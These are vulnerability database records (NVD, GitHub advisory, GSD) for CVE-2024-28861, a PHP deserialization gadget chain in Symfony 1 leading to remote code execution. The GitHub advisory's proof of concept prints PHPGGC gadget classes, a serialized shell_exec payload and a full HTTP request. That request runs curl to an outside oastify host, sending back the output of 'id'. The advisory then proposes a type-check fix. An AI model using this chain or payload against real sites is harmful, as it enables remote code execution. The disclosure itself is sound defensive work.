{
  "affected": [
    {
      "affectedData": [
        {
          "product": "symfony1",
          "vendor": "FriendsOfSymfony1",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 1.1.0, \u003c 1.5.19"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    },
    {
      "affectedData": [
        {
          "cpes": [
            "cpe:2.3:a:friends_of_symfony_project:fosuserbundle:*:-:-:*:-:symfony:*:*"
          ],
          "defaultStatus": "unknown",
          "product": "fosuserbundle",
          "vendor": "friends_of_symfony_project",
          "versions": [
            {
              "lessThan": "1.5.19",
              "status": "affected",
              "version": "1.1.0",
              "versionType": "custom"
            }
          ]
        }
      ],
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:friendsofsymfony1:symfony1:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "092DD8C8-8109-4D40-8313-AB50AFF98A98",
              "versionEndExcluding": "1.5.9",
              "versionStartIncluding": "1.1.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Symfony 1 is a community-driven fork of the 1.x branch of Symfony, a PHP framework for web projects. Starting in version 1.1.0 and prior to version 1.5.19, Symfony 1 has a gadget chain due to dangerous deserialization in `sfNamespacedParameterHolder` class that would enable an attacker to get remote code execution if a developer deserializes user input in their project. Version 1.5.19 contains a patch for the issue."
    },
    {
      "lang": "es",
      "value": "Symfony 1 es una bifurcaci\u00f3n impulsada por la comunidad de la rama 1.x de Symfony, un framework PHP para proyectos web. A partir de la versi\u00f3n 1.1.0 y antes de la versi\u00f3n 1.5.19, Symfony 1 tiene una cadena de gadgets debido a una deserializaci\u00f3n peligrosa en la clase `sfNamespacedParameterHolder` que permitir\u00eda a un atacante obtener la ejecuci\u00f3n remota de c\u00f3digo si un desarrollador deserializa la entrada del usuario en su proyecto. La versi\u00f3n 1.5.19 contiene un parche para el problema."
    }
  ],
  "id": "CVE-2024-28861",
  "lastModified": "2026-06-17T07:21:54.367",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 9.8,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 5.9,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2024-28861",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2024-03-25T19:21:39.440512Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2024-03-22T17:15:07.770",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/FriendsOfSymfony1/symfony1/commit/0bd9d59c69221f49bfc8be8b871b79e12d7d171a"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/FriendsOfSymfony1/symfony1/security/advisories/GHSA-pv9j-c53q-h433"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/FriendsOfSymfony1/symfony1/commit/0bd9d59c69221f49bfc8be8b871b79e12d7d171a"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/FriendsOfSymfony1/symfony1/security/advisories/GHSA-pv9j-c53q-h433"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-502"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "friendsofsymfony1/symfony1"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.1.0"
            },
            {
              "fixed": "1.5.19"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-28861"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-03-22T16:56:18Z",
    "nvd_published_at": "2024-03-22T17:15:07Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nSymfony 1 has a gadget chain due to dangerous unserialize in `sfNamespacedParameterHolder` class that would enable an attacker to get remote code execution if a developer unserialize user input in his project.\n\n### Details\nThis vulnerability present no direct threat but is a vector that will enable remote code execution if a developper deserialize user untrusted data. For example:\n```php\n public function executeIndex(sfWebRequest $request)\n  {\n    $a = unserialize($request-\u003egetParameter(\u0027user\u0027));\n  }\n```\n\nWe will make the assumption this is the case in the rest of this explanation.\n\nSymfony 1 provides the class `sfNamespacedParameterHolder` which implements `Serializable` interface. In particular, when an instance of this class is deserialized, the normal php behavior is hooked by implementing `unserialize()` method:\n```php\n    public function unserialize($serialized)\n    {\n        $this-\u003e__unserialize(unserialize($serialized));\n    }\n```\n\nWhich make an array access on the deserialized data without control on the type of the `$data` parameter:\n```php\n    public function __unserialize($data)\n    {\n        $this-\u003edefault_namespace = $data[0];\n        $this-\u003eparameters = $data[1];\n    }\n```\n\nThus, an attacker provide any object type in `$data` to make PHP access to another array/object properties than intended by the developer. In particular, it is possible to abuse the array access which is triggered on `$data[0]` for any class implementing `ArrayAccess`  interface. `sfOutputEscaperArrayDecorator`  implements such interface. Here is the call made on `offsetGet()`:\n```php\n  public function offsetGet($offset)\n    {\n        $value = isset($this-\u003evalue[$offset]) ? $this-\u003evalue[$offset] : null;\n\n        return sfOutputEscaper::escape($this-\u003eescapingMethod, $value);\n    }\n```\nWhich trigger `escape()` in `sfOutputEscaper` class with attacker controlled parameters from deserialized object with `$this-\u003eescapingMethod` and `$this-\u003evalue[$offset]`:\n```php\n  public static function escape($escapingMethod, $value)\n  {\n    if (null === $value)\n    {\n      return $value;\n    }\n\n    // Scalars are anything other than arrays, objects and resources.\n    if (is_scalar($value))\n    {\n      return call_user_func($escapingMethod, $value);\n    }\n```\nWhich calls `call_user_func` with previous attacker controlled input.\n\n\n### PoC\n\nSo we need the following object to trigger an OS command like `shell_exec(\"curl https://7v3fcazcqt9v0dowwmef4aph48azyqtei.oastify.com?a=$(id)\");`:\n\n```php\nobject(sfNamespacedParameterHolder)#4 (1) {\n  [\"prop\":protected]=\u003e\n  object(sfOutputEscaperArrayDecorator)#3 (2) {\n    [\"value\":protected]=\u003e\n    array(1) {\n      [0]=\u003e\n      string(66) \"curl https://7v3fcazcqt9v0dowwmef4aph48azyqtei.oastify.com?a=$(id)\"\n    }\n    [\"escapingMethod\":protected]=\u003e\n    string(10) \"shell_exec\"\n  }\n}\n```\n\nWe craft a chain with PHPGGC. Please do not publish it as I will make a PR on PHPGGC but I wait for you to fix before:\n* gadgets.php:\n```php\nclass sfOutputEscaperArrayDecorator\n{\n  protected $value;\n\n  protected $escapingMethod;\n\n  public function __construct($escapingMethod, $value) {\n    $this-\u003eescapingMethod = $escapingMethod;\n    $this-\u003evalue = $value;\n  }\n}\n\nclass sfNamespacedParameterHolder implements Serializable \n{\n    protected $prop = null;\n\n    public function __construct($prop) {\n      $this-\u003eprop = $prop;\n    }\n\n    public function serialize()\n    {\n        return serialize($this-\u003eprop);\n    }\n\n    public function unserialize($serialized)\n    {\n        \n    }\n}\n\n```\n\n* chain.php:\n```php\nnamespace GadgetChain\\Symfony;\n\nclass RCE16 extends \\PHPGGC\\GadgetChain\\RCE\\FunctionCall\n{\n    public static $version = \u00271.1.0 \u003c= 1.5.18\u0027;\n    public static $vector = \u0027Serializable\u0027;\n    public static $author = \u0027darkpills\u0027;\n    public static $information = \u0027\u0027;\n\n    public function generate(array $parameters)\n    {\n        $escaper = new \\sfOutputEscaperArrayDecorator($parameters[\u0027function\u0027], array($parameters[\u0027parameter\u0027]));\n\n        $tableInfo = new \\sfNamespacedParameterHolder($escaper);\n        \n        return $tableInfo;\n    }\n}\n```\n\nAnd trigger the deserialization with an HTTP request like the following on a dummy test controller:\n\n```http\nPOST /frontend_dev.php/test/index HTTP/1.1\nHost: localhost:8001\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nConnection: close\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 532\n\nuser=C%3A27%3A%22sfNamespacedParameterHolder%22%3A183%3A%7BO%3A29%3A%22sfOutputEscaperArrayDecorator%22%3A2%3A%7Bs%3A8%3A%22%00%2A%00value%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A66%3A%22curl+https%3A%2F%2F7v3fcazcqt9v0dowwmef4aph48azyqtei.oastify.com%3Fa%3D%24%28id%29%22%3B%7Ds%3A17%3A%22%00%2A%00escapingMethod%22%3Bs%3A10%3A%22shell_exec%22%3B%7D%7D\n```\n\nNote that CVSS score is not applicable to this kind of vulnerability.\n\n### Impact\nThe attacker can execute any PHP command which leads to remote code execution.\n\n### Recommendation\nI recommend to add a type checking before doing any processing on the unserialized input like this example:\n```php\npublic function unserialize($data)\n{\n    if (is_array($data)) {\n      $this-\u003edefault_namespace = $data[0];\n      $this-\u003eparameters = $data[1];\n    } else {\n      $this-\u003edefault_namespace = null;\n      $this-\u003eparameters = array();\n\n      // or throw an exception maybe?\n    }\n}\n```\n\nThis fix should be applied in both `sfNamespacedParameterHolder` and `sfParameterHolder`.",
  "id": "GHSA-pv9j-c53q-h433",
  "modified": "2024-07-25T13:36:28Z",
  "published": "2024-03-22T16:56:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfSymfony1/symfony1/security/advisories/GHSA-pv9j-c53q-h433"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/friendsofsymfony1/symfony1/CVE-2024-28861.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FriendsOfSymfony1/symfony1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Gadget chain in Symfony 1 due to uncontrolled unserialized input in sfNamespacedParameterHolder"
}

{
  "gsd": {
    "metadata": {
      "exploitCode": "unknown",
      "remediation": "unknown",
      "reportConfidence": "confirmed",
      "type": "vulnerability"
    },
    "osvSchema": {
      "aliases": [
        "CVE-2024-28861"
      ],
      "details": "Symfony 1 is a community-driven fork of the 1.x branch of Symfony, a PHP framework for web projects. Starting in version 1.1.0 and prior to version 1.5.19, Symfony 1 has a gadget chain due to dangerous deserialization in `sfNamespacedParameterHolder` class that would enable an attacker to get remote code execution if a developer deserializes user input in their project. Version 1.5.19 contains a patch for the issue.",
      "id": "GSD-2024-28861",
      "modified": "2024-04-02T05:02:55.716258Z",
      "schema_version": "1.4.0"
    }
  },
  "namespaces": {
    "cve.org": {
      "CVE_data_meta": {
        "ASSIGNER": "security-advisories@github.com",
        "ID": "CVE-2024-28861",
        "STATE": "PUBLIC"
      },
      "affects": {
        "vendor": {
          "vendor_data": [
            {
              "product": {
                "product_data": [
                  {
                    "product_name": "symfony1",
                    "version": {
                      "version_data": [
                        {
                          "version_affected": "=",
                          "version_value": "\u003e= 1.1.0, \u003c 1.5.19"
                        }
                      ]
                    }
                  }
                ]
              },
              "vendor_name": "FriendsOfSymfony1"
            }
          ]
        }
      },
      "data_format": "MITRE",
      "data_type": "CVE",
      "data_version": "4.0",
      "description": {
        "description_data": [
          {
            "lang": "eng",
            "value": "Symfony 1 is a community-driven fork of the 1.x branch of Symfony, a PHP framework for web projects. Starting in version 1.1.0 and prior to version 1.5.19, Symfony 1 has a gadget chain due to dangerous deserialization in `sfNamespacedParameterHolder` class that would enable an attacker to get remote code execution if a developer deserializes user input in their project. Version 1.5.19 contains a patch for the issue."
          }
        ]
      },
      "impact": {
        "cvss": [
          {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 9.8,
            "baseSeverity": "CRITICAL",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          }
        ]
      },
      "problemtype": {
        "problemtype_data": [
          {
            "description": [
              {
                "cweId": "CWE-502",
                "lang": "eng",
                "value": "CWE-502: Deserialization of Untrusted Data"
              }
            ]
          }
        ]
      },
      "references": {
        "reference_data": [
          {
            "name": "https://github.com/FriendsOfSymfony1/symfony1/security/advisories/GHSA-pv9j-c53q-h433",
            "refsource": "MISC",
            "url": "https://github.com/FriendsOfSymfony1/symfony1/security/advisories/GHSA-pv9j-c53q-h433"
          },
          {
            "name": "https://github.com/FriendsOfSymfony1/symfony1/commit/0bd9d59c69221f49bfc8be8b871b79e12d7d171a",
            "refsource": "MISC",
            "url": "https://github.com/FriendsOfSymfony1/symfony1/commit/0bd9d59c69221f49bfc8be8b871b79e12d7d171a"
          }
        ]
      },
      "source": {
        "advisory": "GHSA-pv9j-c53q-h433",
        "discovery": "UNKNOWN"
      }
    },
    "nvd.nist.gov": {
      "cve": {
        "descriptions": [
          {
            "lang": "en",
            "value": "Symfony 1 is a community-driven fork of the 1.x branch of Symfony, a PHP framework for web projects. Starting in version 1.1.0 and prior to version 1.5.19, Symfony 1 has a gadget chain due to dangerous deserialization in `sfNamespacedParameterHolder` class that would enable an attacker to get remote code execution if a developer deserializes user input in their project. Version 1.5.19 contains a patch for the issue."
          }
        ],
        "id": "CVE-2024-28861",
        "lastModified": "2024-03-22T19:02:10.300",
        "metrics": {
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "HIGH",
                "baseScore": 9.8,
                "baseSeverity": "CRITICAL",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "HIGH",
                "privilegesRequired": "NONE",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
                "version": "3.1"
              },
              "exploitabilityScore": 3.9,
              "impactScore": 5.9,
              "source": "security-advisories@github.com",
              "type": "Secondary"
            }
          ]
        },
        "published": "2024-03-22T17:15:07.770",
        "references": [
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/FriendsOfSymfony1/symfony1/commit/0bd9d59c69221f49bfc8be8b871b79e12d7d171a"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/FriendsOfSymfony1/symfony1/security/advisories/GHSA-pv9j-c53q-h433"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Awaiting Analysis",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-502"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Secondary"
          }
        ]
      }
    }
  }
}